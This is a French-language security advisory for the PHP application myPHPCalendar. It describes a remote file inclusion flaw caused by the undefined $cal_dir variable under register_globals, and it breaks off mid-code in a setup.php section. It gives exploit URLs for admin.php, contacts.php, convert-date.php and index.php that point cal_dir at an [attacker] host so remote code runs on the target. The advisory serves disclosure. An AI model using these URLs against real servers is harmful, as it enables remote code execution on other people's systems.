myPHPCalendar ************* Informations : °°°°°°°°°°°°°° Langage : PHP Version : 10192000 Build 1 Beta Website : http://myphpcalendar.sourceforge.net/ Problèmes : - Inclusions de fichiers - Récuperation d'infos de la DB Developpement : °°°°°°°°°°°°°°° Comme le dit son nom, myPHPCalendar est un calendrier en PHP, avec de nombreuses possibilités, comme sa gestion par une zone admin,... Dans les fichiers admin.php, contacts.php et convert-date.php, on voit la ligne de code : ------------------------ include ("globals.inc"); ------------------------ Et dans globals.inc, on voit les lignes : ------------------------------ include($cal_dir."vars.inc"); include($cal_dir."prefs.inc"); ------------------------------ La variable $cal_dir n'est définie ni dans globals.inc, ni dans aucun des 3 fichiers PHP. Si, dans php.ini, register_global=ON, alors on peut définir nous même la valeur de $cal_dir... et donc inclure des fichiers venant de l'exterieur. Ainsi pour inclure le(s) fichier(s) http://[attacker]/vars.inc et/ou http://[attacker]/prefs.inc, et les faire exécuter sur le serveur http://[target], on pourra passer par les urls : http://[target]/admin.php?cal_dir=http://[attacker]/ http://[target]/contacts.php?cal_dir=http://[attacker]/ http://[target]/convert-date.php?cal_dir=http://[attacker]/ La même faille se trouve dans le fichier index.php, sauf qu'elle ne passe pas par globals.inc : ---------------------------------------- include ($cal_dir."globals.inc"); [...] include($cal_dir."sql.inc"); ---------------------------------------- Donc pour inclure sur http://[target] les fichier globals.inc et sql.inc se trouvant sur http://[attacker], il faudra taper l'url : http://[target]/index.php?cal_dir=http://[attacker]/ Enfin, dans le fichier d'installation setup.php, on peut voir le code : ---------------------------------------------------------------- $fp = fopen("setup.inc", "w+"); fputs($fp, "